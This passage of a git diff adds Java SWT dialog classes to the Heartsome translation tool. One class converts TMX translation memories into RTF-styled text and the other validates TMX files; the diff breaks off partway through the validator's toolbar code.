org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; + +/** + * æ’件TMX to TXT Converter + * @author robert 2012-03-10 + * @version + * @since JDK1.6 备注:--robert undone (没有完æˆå¸®åŠ©æ–‡æ¡£çš„完善,关于获å–seg节点下的内容的问题,VTD中有BUG未解决); + */ +public class TMX2TXTConverterDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(TMX2TXTConverterDialog.class); + + private Text tmxTxt; + private Text txtTxt; + private VTDNav vn; + private FileOutputStream output; + /** TMX文件TU节点的个数 */ + private int tuNodesCount; + /** 进度æ¡çš„å‰è¿›åˆ»åº¦ */ + private int workInterval = 10; + + private String imagePath; + + public TMX2TXTConverterDialog(Shell parentShell) { + super(parentShell); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.TMX2TXTConverterDialog.title")); + imagePath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_TMX2TXTCONVERTER_PATH); + newShell.setImage(new Image(Display.getDefault(), imagePath)); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + getButton(IDialogConstants.OK_ID).setText(Messages.getString("dialog.TMX2TXTConverterDialog.ok")); + getButton(IDialogConstants.CANCEL_ID).setText(Messages.getString("dialog.TMX2TXTConverterDialog.cancel")); + parent.layout(); + + getDialogArea().getParent().layout(); + getShell().layout(); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).hint(450, 190).applyTo(tparent); + createMenu(tparent); + createContent(tparent); + + tparent.layout(); + getShell().layout(); + return tparent; + } + + @Override + protected void okPressed() { + convert(); + super.okPressed(); + } + + private void createMenu(Composite tparent) { + Menu menuBar = new Menu(getShell(), SWT.BAR); + getShell().setMenuBar(menuBar); + getShell().pack(); + + Rectangle screenSize = Display.getDefault().getClientArea(); + Rectangle frameSize = getShell().getBounds(); + getShell().setLocation((screenSize.width - frameSize.width) / 2, (screenSize.height - frameSize.height) / 2); + + // 文件èœå• + Menu fileMenu = new Menu(menuBar); + MenuItem fileItem = new MenuItem(menuBar, SWT.CASCADE); + fileItem.setText(Messages.getString("dialog.TMX2TXTConverterDialog.fileMenu")); + fileItem.setMenu(fileMenu); + + MenuItem quitItem = new MenuItem(fileMenu, SWT.PUSH); + quitItem.setText(Messages.getString("dialog.TMX2TXTConverterDialog.quitItem")); + quitItem.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + close(); + } + }); + + // 帮助èœå• + Menu helpMenu = new Menu(menuBar); + MenuItem helpItem = new MenuItem(menuBar, SWT.CASCADE); + helpItem.setText(Messages.getString("dialog.TMX2TXTConverterDialog.helpMenu")); + helpItem.setMenu(helpMenu); + + MenuItem aboutItem = new MenuItem(helpMenu, SWT.PUSH); + aboutItem.setText(Messages.getString("dialog.TMX2TXTConverterDialog.aboutItem")); + String aboutPath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_TMX2TXTCONVERTER_MENU_PATH); + aboutItem.setImage(new Image(Display.getDefault(), aboutPath)); + aboutItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + AboutDialog dialog = new AboutDialog(getShell(), Messages + .getString("dialog.TMX2TXTConverterDialog.aboutItemName"), imagePath, Messages + .getString("dialog.TMX2TXTConverterDialog.version")); + dialog.open(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + private void createContent(Composite tparent) { + Composite contentCmp = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, true).applyTo(contentCmp); + GridLayoutFactory.fillDefaults().numColumns(3).applyTo(contentCmp); + + GridData textData = new GridData(SWT.FILL, SWT.CENTER, true, false); + + Label tmxLbl = new Label(contentCmp, SWT.NONE); + tmxLbl.setText(Messages.getString("dialog.TMX2TXTConverterDialog.tmxLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(tmxLbl); + + tmxTxt = new Text(contentCmp, SWT.BORDER); + tmxTxt.setLayoutData(textData); + + Button tmxBrowseBtn = new Button(contentCmp, SWT.NONE); + tmxBrowseBtn.setText(Messages.getString("dialog.TMX2TXTConverterDialog.tmxBrowseBtn")); + tmxBrowseBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + selecteTMXFile(); + } + }); + + Label txtLbl = new Label(contentCmp, SWT.NONE); + txtLbl.setText(Messages.getString("dialog.TMX2TXTConverterDialog.txtLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(txtLbl); + + txtTxt = new Text(contentCmp, SWT.BORDER); + txtTxt.setLayoutData(textData); + + Button txtBrowseBtn = new Button(contentCmp, SWT.NONE); + txtBrowseBtn.setText(Messages.getString("dialog.TMX2TXTConverterDialog.txtBrowseBtn")); + txtBrowseBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + selecteTXTFile(); + } + }); + + } + + /** + * 选择TMX文件 + */ + private void selecteTMXFile() { + FileDialog fd = new FileDialog(getShell(), SWT.OPEN); + String[] extensions = { "*.tmx", "*.*" }; + fd.setFilterExtensions(extensions); + String[] names = { Messages.getString("dialog.TMX2TXTConverterDialog.TMXNames1"), + Messages.getString("dialog.TMX2TXTConverterDialog.TMXNames2") }; + fd.setFilterNames(names); + String file = fd.open(); + if (file != null) { + tmxTxt.setText(file); + if (txtTxt.getText().equals("")) { + txtTxt.setText(file.substring(0, file.lastIndexOf(".")) + ".txt"); + } + } + } + + /** + * 选择TXT文件 ; + */ + private void selecteTXTFile() { + FileDialog fd = new FileDialog(getShell(), SWT.OPEN); + String[] extensions = { "*.txt", "*.*" }; + fd.setFilterExtensions(extensions); + String[] names = { Messages.getString("dialog.TMX2TXTConverterDialog.TXTNames1"), + Messages.getString("dialog.TMX2TXTConverterDialog.TXTNames2") }; + fd.setFilterNames(names); + String file = fd.open(); + if (file != null) { + txtTxt.setText(file); + } + } + + /** + * å¼€å§‹è½¬æ¢ + */ + private void convert() { + final String tmxLocation = tmxTxt.getText(); + if (tmxLocation.equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TMX2TXTConverterDialog.msgTitle"), + Messages.getString("dialog.TMX2TXTConverterDialog.msg1")); + return; + } + final String txtLocation = txtTxt.getText(); + if (txtLocation.equals("")) { //$NON-NLS-1$ + MessageDialog.openInformation(getShell(), Messages.getString("dialog.TMX2TXTConverterDialog.msgTitle"), + Messages.getString("dialog.TMX2TXTConverterDialog.msg2")); + return; + } + + File txtFile = new File(txtLocation); + if (txtFile.exists()) { + boolean response = MessageDialog.openConfirm(getShell(), + Messages.getString("dialog.TMX2TXTConverterDialog.msgTitle2"), + MessageFormat.format(Messages.getString("dialog.TMX2TXTConverterDialog.msg3"), txtLocation)); + if (!response) { + return; + } + } else if (!txtFile.getParentFile().exists()) { + txtFile.getParentFile().mkdirs(); + } + + Job job = new Job(Messages.getString("dialog.TMX2TXTConverterDialog.job")) { + @Override + protected IStatus run(IProgressMonitor monitor) { + monitor.beginTask(Messages.getString("dialog.TMX2TXTConverterDialog.task"), 10); + // 先解æžæ–‡ä»¶ï¼ŒèŠ±è´¹ä¸€æ ¼ + int openResult = openFile(tmxLocation, monitor); + if (openResult == 0) { + return Status.CANCEL_STATUS; + } else if (openResult == -2) { + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.TMX2TXTConverterDialog.msgTitle"), + Messages.getString("dialog.TMX2TXTConverterDialog.msg4")); + } + }); + return Status.CANCEL_STATUS; + } else if (openResult == -1) { + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.TMX2TXTConverterDialog.msgTitle"), + Messages.getString("dialog.TMX2TXTConverterDialog.msg5")); + } + }); + return Status.CANCEL_STATUS; + } + + if (!validVersion(tmxLocation)) { + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.TMX2TXTConverterDialog.msgTitle"), + Messages.getString("dialog.TMX2TXTConverterDialog.msg6")); + } + }); + return Status.CANCEL_STATUS; + } + + if ((tuNodesCount = getTUCount(tmxLocation)) <= 0) { + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.TMX2TXTConverterDialog.msgTitle"), + Messages.getString("dialog.TMX2TXTConverterDialog.msg7")); + } + }); + return Status.CANCEL_STATUS; + } + + try { + output = new FileOutputStream(txtLocation); + byte[] bom = new byte[3]; + bom[0] = (byte) 0xEF; + bom[1] = (byte) 0xBB; + bom[2] = (byte) 0xBF; + output.write(bom); + writeHeader(); + monitor.worked(1); + + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 8, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + return processTU(tmxLocation, txtLocation, subMonitor); + } catch (Exception e) { + e.printStackTrace(); + LOGGER.error("", e); + } + monitor.done(); + return Status.OK_STATUS; + } + }; + + job.addJobChangeListener(new JobChangeAdapter(){ + @Override + public void running(IJobChangeEvent event) { + ProgressIndicatorManager.displayProgressIndicator(); + super.running(event); + } + @Override + public void done(IJobChangeEvent event) { + ProgressIndicatorManager.hideProgressIndicator(); + super.done(event); + } + }); + job.setUser(true); + job.schedule(); + + } + + /** + * 解æžæ–‡ä»¶ï¼ˆåŒæ—¶æ“作进度æ¡ï¼‰ + * @param file + * @param monitor + * @param totalWork + * @return ; + */ + private int openFile(String tmxLocation, IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + try { + // 解æžæ–‡ä»¶å¹¶èŽ·å–索引 + VTDGen vg = new VTDGen(); + if (vg.parseFile(tmxLocation, true)) { + vn = vg.getNav(); + if (monitor.isCanceled()) { + return 0; // 终止程åºçš„执行 + } + + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/tmx"); + if (ap.evalXPath() == -1) { + return -2; // 解æžçš„文件ä¸ç¬¦åˆTMX标准 + } + monitor.worked(1); + return 1; // TMX文件解æžæˆåŠŸ + } else { + return -1; // 解æžå¤±è´¥ + } + } catch (Exception e) { + e.printStackTrace(); + LOGGER.error("", e); + } + return -1; + } + + /** + * 验è¯TMX文件是ä¸æ˜¯1.4版本的,如果ä¸æ˜¯ï¼Œé€€å‡ºç¨‹åº + * @param txmLocation + * @return ; + */ + private boolean validVersion(String tmxLocation) { + Assert.isNotNull(vn, + MessageFormat.format(Messages.getString("dialog.TMX2TXTConverterDialog.msg8"), tmxLocation)); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("/tmx"); + if (ap.evalXPath() != -1) { + int index; + if ((index = vn.getAttrVal("version")) != -1) { + if ("1.4".equals(vn.toString(index))) { + return true; + } + } + } + } catch (Exception e) { + e.printStackTrace(); + LOGGER.error("", e); + } + return false; + } + + private void writeHeader() throws UnsupportedEncodingException, IOException { + writeString("\r\n"); //$NON-NLS-1$ + writeString("\r\n"); //$NON-NLS-1$ + writeString("\r\n"); //$NON-NLS-1$ + writeString("{\\fonttbl \r\n"); //$NON-NLS-1$ + writeString("{\\f1 \\fmodern\\fprq1 \\fcharset0 Courier New;}\r\n"); //$NON-NLS-1$ + writeString("{\\f2 \\fswiss\\fprq2 \\fcharset0 Arial;}\r\n"); //$NON-NLS-1$ + writeString("{\\f3 \\fcharset128 MS Mincho;}}\r\n"); //$NON-NLS-1$ + writeString("{\\f4 \\fcharset134 SimSun;}\r\n"); //$NON-NLS-1$ + writeString("{\\f5 \\fcharset136 MingLiU;}\r\n"); //$NON-NLS-1$ + writeString("{\\f6 \\fcharset129 Gulim;}\r\n"); //$NON-NLS-1$ + writeString("{\\f7 \\froman\\fprq2 \\fcharset238 Times New Roman CE;}\r\n"); //$NON-NLS-1$ + writeString("{\\f8 \\froman\\fprq2 \\fcharset204 Times New Roman Cyr;}\r\n"); //$NON-NLS-1$ + writeString("{\\f9 \\froman\\fprq2 \\fcharset161 Times New Roman Greek;}\r\n"); //$NON-NLS-1$ + writeString("{\\f10 \\froman\\fprq2 \\fcharset162 Times New Roman Tur;}\r\n"); //$NON-NLS-1$ + writeString("{\\f11 \\froman\\fprq2 \\fcharset177 Times New Roman (Hebrew);}\r\n"); //$NON-NLS-1$ + writeString("{\\f12 \\froman\\fprq2 \\fcharset178 Times New Roman (Arabic);}\r\n"); //$NON-NLS-1$ + writeString("{\\f13 \\froman\\fprq2 \\fcharset186 Times New Roman Baltic;}\r\n"); //$NON-NLS-1$ + writeString("{\\f14 \\froman\\fprq2 \\fcharset222 Angsana New;}\r\n"); //$NON-NLS-1$ + writeString("\r\n"); //$NON-NLS-1$ + writeString("{\\stylesheet \r\n"); //$NON-NLS-1$ + writeString("{\\St \\s0 {\\StN Normal}}\r\n"); //$NON-NLS-1$ + writeString("{\\St \\cs1 {\\StB \\v\\f1\\fs24\\sub\\cf12 }{\\StN tw4winMark}}\r\n"); //$NON-NLS-1$ + writeString("{\\St \\cs2 {\\StB \\cf4\\fs40\\f1 }{\\StN tw4winError}}\r\n"); //$NON-NLS-1$ + writeString("{\\St \\cs3 {\\StB \\f1\\cf11\\lang1024 }{\\StN tw4winPopup}}\r\n"); //$NON-NLS-1$ + writeString("{\\St \\cs4 {\\StB \\f1\\cf10\\lang1024 }{\\StN tw4winJump}}\r\n"); //$NON-NLS-1$ + writeString("{\\St \\cs5 {\\StB \\f1\\cf15\\lang1024 }{\\StN tw4winExternal}}\r\n"); //$NON-NLS-1$ + writeString("{\\St \\cs6 {\\StB \\f1\\cf6\\lang1024 }{\\StN tw4winInternal}}\r\n"); //$NON-NLS-1$ + writeString("{\\St \\cs7 {\\StB \\cf2 }{\\StN tw4winTerm}}\r\n"); //$NON-NLS-1$ + writeString("{\\St \\cs8 {\\StB \\f1\\cf13\\lang1024 }{\\StN DO_NOT_TRANSLATE}}}\r\n"); //$NON-NLS-1$ + writeString("\r\n"); //$NON-NLS-1$ + } + + private void writeString(String string) throws UnsupportedEncodingException, IOException { + output.write(string.getBytes("UTF-8")); + } + + /** + * 开始获å–tmx中的tu节点进行添加到TXT文件中 + * @param txtLocation + * @param monitor + * ; + */ + private IStatus processTU(String tmxLocation, String txtLocation, IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", tuNodesCount % workInterval == 0 ? tuNodesCount / workInterval : tuNodesCount + / workInterval + 1); + + try { + + int travelIndex = 0; + + AutoPilot ap = new AutoPilot(vn); + AutoPilot tuvAp = new AutoPilot(vn); + AutoPilot segAp = new AutoPilot(vn); + AutoPilot segChildAp = new AutoPilot(vn); + Assert.isNotNull(vn, + MessageFormat.format(Messages.getString("dialog.TMX2TXTConverterDialog.msg8"), tmxLocation)); + ap.selectXPath("/tmx/body/tu"); + segAp.selectXPath("./seg"); + segChildAp.selectXPath("./*"); + while (ap.evalXPath() != -1) { + travelIndex++; + + writeString("\r\n"); + String creationdate = getAttributeValue("creationdate", ""); + if (!creationdate.equals("")) { + writeString("" + creationdate.substring(6, 8) + creationdate.substring(4, 6) + + creationdate.substring(0, 4) + ", " + creationdate.substring(9, 11) + ":" + + creationdate.substring(11, 13) + ":" + creationdate.substring(13, 15) + "\r\n"); + } + + String creationid = getAttributeValue("creationid", ""); + if (creationid.equals("")) { + writeString("" + System.getProperty("user.name").replaceAll("\\s", "") + "\r\n"); + } else { + writeString("" + creationid + "\r\n"); + } + + String changedate = getAttributeValue("changedate", ""); + if (!changedate.equals("")) { + writeString("" + changedate.substring(6, 8) + changedate.substring(4, 6) + + changedate.substring(0, 4) + ", " + changedate.substring(9, 11) + ":" + + changedate.substring(11, 13) + ":" + changedate.substring(13, 15) + "\r\n"); + } + + String changeid = getAttributeValue("changeid", ""); + if (!changeid.equals("")) { + writeString("" + changeid + "\r\n"); + } + + // 开始é历TU节点的å­èŠ‚点:tuv + tuvAp.selectXPath("./tuv"); + while (tuvAp.evalXPath() != -1) { + String lang = getAttributeValue("xml:lang", null).toLowerCase(); + String font = "\\f1"; + if (lang.matches("ja.*")) { + // Japanese + font = "\\f3"; + } + if (lang.matches("zh.*")) { + // Simplified Chinese + font = "\\f4"; + } + if (lang.matches("zh.tw")) { + // Traditional Chinese + font = "\\f5"; + } + if (lang.matches("ko.*")) { + // Korean + font = "\\f6"; + } + if (lang.matches("pl.*") || lang.matches("cs.*") || lang.matches("bs.*") || lang.matches("sk.*") + || lang.matches("sl.*") || lang.matches("hu.*")) { + // Eastern European + font = "\\f7"; + } + if (lang.matches("ru.*") || lang.matches("bg.*") || lang.matches("mk.*") || lang.matches("sr.*") + || lang.matches("be.*") || lang.matches("uk.*")) { + // Russian + font = "\\f8"; + } + if (lang.matches("el.*")) { + // Greek + font = "\\f9"; + } + if (lang.matches("tr.*")) { + // Turkish + font = "\\f10"; + } + if (lang.matches("he.*") || lang.matches("yi.*")) { + // Hebrew + font = "\\f11"; + } + if (lang.matches("ar.*")) { + // Arabic + font = "\\f12"; + } + if (lang.matches("lv.*") || lang.matches("lt.*")) { + // Baltic + font = "\\f13"; + } + if (lang.matches("th.*")) { + // Thai + font = "\\f14"; + } + + // 开始é历tuv节点的å­èŠ‚点seg + StringBuffer segSB = new StringBuffer(); + vn.push(); + if (segAp.evalXPath() != -1) { + if (vn.getText() != -1) { + segSB.append(cleanString(vn.toString(vn.getText()))); + } else { + vn.push(); + while (segChildAp.evalXPath() != -1) { + String nodeName = vn.toString(vn.getCurrentIndex()); + if ("ph".equals(nodeName) || "bpt".equals(nodeName) || "ept".equals(nodeName)) { + segSB.append("{\\cs6" + font + "\\cf6\\lang1024 "); + String value = ""; + if (vn.getText() != -1) { + value = vn.toString(vn.getText()); + } + segSB.append(cleanString(value)); + segSB.append("}"); + } else { + System.out.println("vn.getTokenType(vn.getCurrentIndex()) = " + + vn.getTokenType(vn.getCurrentIndex())); + } + } + vn.pop(); + } + writeString("" + segSB.toString() + "\r\n"); + } + vn.pop(); + segAp.resetXPath(); + segChildAp.resetXPath(); + } + + writeString("\r\n"); + if (!monitorWork(monitor, travelIndex, false)) { + return Status.CANCEL_STATUS; + } + } + if (!monitorWork(monitor, travelIndex, true)) { + return Status.CANCEL_STATUS; + } + } catch (Exception e) { + e.printStackTrace(); + LOGGER.error("", e); + } + monitor.done(); + return Status.OK_STATUS; + } + + /** + * 获å–属性值 + * @param attributeName + * @param defaultValue + * @return + * @throws NavException + * ; + */ + private String getAttributeValue(String attributeName, String defaultValue) throws NavException { + int index = vn.getAttrVal(attributeName); + if (index != -1) { + return vn.toString(index); + } + return defaultValue; + } + + /** + * 获å–TMX文件的TU节点的总数 + * @return ; + */ + private int getTUCount(String tmxLocation) { + AutoPilot ap = new AutoPilot(vn); + Assert.isNotNull(vn, + MessageFormat.format(Messages.getString("dialog.TMX2TXTConverterDialog.msg8"), tmxLocation)); + + try { + ap.selectXPath("count(/tmx/body/tu)"); + return (int) ap.evalXPathToNumber(); + } catch (Exception e) { + e.printStackTrace(); + LOGGER.error("", e); + } + return 0; + } + + private String cleanString(String value) { + value = replaceToken(value, "\\", "\\\'5C"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2002', "\\enspace "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2003', "\\emspace "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2005', "\\qmspace "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2014', "\\emdash "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2013', "\\endash "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2018', "\\lquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2019', "\\rquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u201C', "\\ldblquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u201D', "\\rdblquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "{", "\\{"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "}", "\\}"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u0009', "\\tab "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u00A0', "\\~"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2011', "\\_"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u00AD', "\\-"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "\n", ""); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "\r", ""); //$NON-NLS-1$ //$NON-NLS-2$ + return value; + } + + private String replaceToken(String string, String token, String newText) { + int index = string.indexOf(token); + while (index != -1) { + String before = string.substring(0, index); + String after = string.substring(index + token.length()); + if (token.endsWith(" ") && after.length() > 0 && Character.isSpaceChar(after.charAt(0))) { //$NON-NLS-1$ + after = after.substring(1); + } + string = before + newText + after; + index = string.indexOf(token, index + newText.length()); + } + return string; + } + + /** + * 进度æ¡å‰è¿›å¤„ç†ç±»ï¼Œè‹¥è¿”回false,则标志退出程åºçš„执行 + * @param monitor + * @param traversalTuIndex + * @param last + * @return ; + */ + public boolean monitorWork(IProgressMonitor monitor, int traversalTuIndex, boolean last) { + if (last) { + if (traversalTuIndex % workInterval != 0) { + if (monitor.isCanceled()) { + return false; + } + monitor.worked(1); + } + } else { + if (traversalTuIndex % workInterval == 0) { + if (monitor.isCanceled()) { + return false; + } + monitor.worked(1); + } + } + return true; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/TMXValidatorDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/TMXValidatorDialog.java new file mode 100644 index 0000000..a38071f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/TMXValidatorDialog.java @@ -0,0 +1,366 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.FileReader; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.StringTokenizer; + +import net.heartsome.cat.ts.ui.plugin.PluginConstants; +import net.heartsome.cat.ts.ui.plugin.TMXValidator; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; +import net.heartsome.cat.ts.ui.plugin.util.PluginUtil; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * æ’件TMX Validator, + * @author robert 2012-03-14 + * @version + * @since JDK1.6 + */ +public class TMXValidatorDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(TMXValidatorDialog.class); + + private String openFilePath; + private String clearCharPath; + private StyledText styledText; + private Color red; + + private Cursor cursorWait = new Cursor(Display.getDefault(), SWT.CURSOR_WAIT); + private Cursor cursorArrow = new Cursor(Display.getDefault(), SWT.CURSOR_ARROW); + + private String imagePath; + + public TMXValidatorDialog(Shell parentShell) { + super(parentShell); + openFilePath = PluginUtil.getAbsolutePath(PluginConstants.PIC_OPEN_CSV_PATH); + clearCharPath = PluginUtil.getAbsolutePath(PluginConstants.PIC_clearChar_PATH); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.TMXValidatorDialog.title")); //$NON-NLS-1$ + imagePath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_TMXVALIDATOR_PATH); + newShell.setImage(new Image(Display.getDefault(), imagePath)); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + parent.dispose(); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).hint(500, 450).applyTo(tparent); + GridLayoutFactory.fillDefaults().spacing(0, 0).extendedMargins(8, 8, 0, 8).applyTo(tparent); + + createMenu(tparent); + createToolBar(tparent); + + styledText = new StyledText(tparent, SWT.BORDER | SWT.MULTI | SWT.V_SCROLL | SWT.WRAP); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).hint(100, 100).grab(true, true).applyTo(styledText); + styledText.setText(""); + + tparent.layout(); + getShell().layout(); + return tparent; + } + + private void createMenu(Composite tparent) { + Menu menuBar = new Menu(getShell(), SWT.BAR); + getShell().setMenuBar(menuBar); + getShell().pack(); + + Rectangle screenSize = Display.getDefault().getClientArea(); + Rectangle frameSize = getShell().getBounds(); + getShell().setLocation((screenSize.width - frameSize.width) / 2, (screenSize.height - frameSize.height) / 2); + + // 文件èœå• + Menu fileMenu = new Menu(menuBar); + MenuItem fileItem = new MenuItem(menuBar, SWT.CASCADE); + fileItem.setText(Messages.getString("dialog.TMXValidatorDialog.fileMenu")); + fileItem.setMenu(fileMenu); + + MenuItem openFileItem = new MenuItem(fileMenu, SWT.PUSH); + openFileItem.setText(Messages.getString("dialog.TMXValidatorDialog.openFileItem")); + openFileItem.setImage(new Image(Display.getDefault(), openFilePath)); + openFileItem.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + openFile(); + } + }); + + MenuItem clearCharItem = new MenuItem(fileMenu, SWT.PUSH); + clearCharItem.setText(Messages.getString("dialog.TMXValidatorDialog.clearCharItem")); + clearCharItem.setImage(new Image(Display.getDefault(), clearCharPath)); + clearCharItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + cleanCharacters(); + } + + }); + + new MenuItem(fileMenu, SWT.SEPARATOR); + + MenuItem quitItem = new MenuItem(fileMenu, SWT.PUSH); + quitItem.setText(Messages.getString("dialog.TMXValidatorDialog.quitItem")); + quitItem.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + close(); + } + }); + + // 帮助èœå• + Menu helpMenu = new Menu(menuBar); + MenuItem helpItem = new MenuItem(menuBar, SWT.CASCADE); + helpItem.setText(Messages.getString("dialog.TMXValidatorDialog.helpMenu")); + helpItem.setMenu(helpMenu); + + MenuItem aboutItem = new MenuItem(helpMenu, SWT.PUSH); + aboutItem.setText(Messages.getString("dialog.TMXValidatorDialog.aboutItem")); + String aboutPath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_TMXVALIDATOR_MENU_PATH); + aboutItem.setImage(new Image(Display.getDefault(), aboutPath)); + aboutItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + AboutDialog dialog = new AboutDialog(getShell(), Messages + .getString("dialog.TMXValidatorDialog.aboutItemName"), imagePath, Messages + .getString("dialog.TMXValidatorDialog.version")); + dialog.open(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + private void createToolBar(Composite tparent) { + Composite toolBarCmp = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(toolBarCmp); + GridLayoutFactory.fillDefaults().numColumns(1).applyTo(toolBarCmp); + + ToolBar toolBar = new ToolBar(toolBarCmp, SWT.NO_FOCUS | SWT.FLAT); + ToolItem openItem = new ToolItem(toolBar, SWT.PUSH); + openItem.setToolTipText(Messages.getString("dialog.TMXValidatorDialog.openItem")); + openItem.setImage(new Image(Display.getDefault(), openFilePath)); + + openItem.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + openFile(); + } + }); + + ToolItem clearCharsItem = new ToolItem(toolBar, SWT.PUSH); + clearCharsItem.setImage(new Image(Display.getDefault(), clearCharPath)); + clearCharsItem.setToolTipText(Messages.getString("dialog.TMXValidatorDialog.clearCharsItem")); + clearCharsItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + 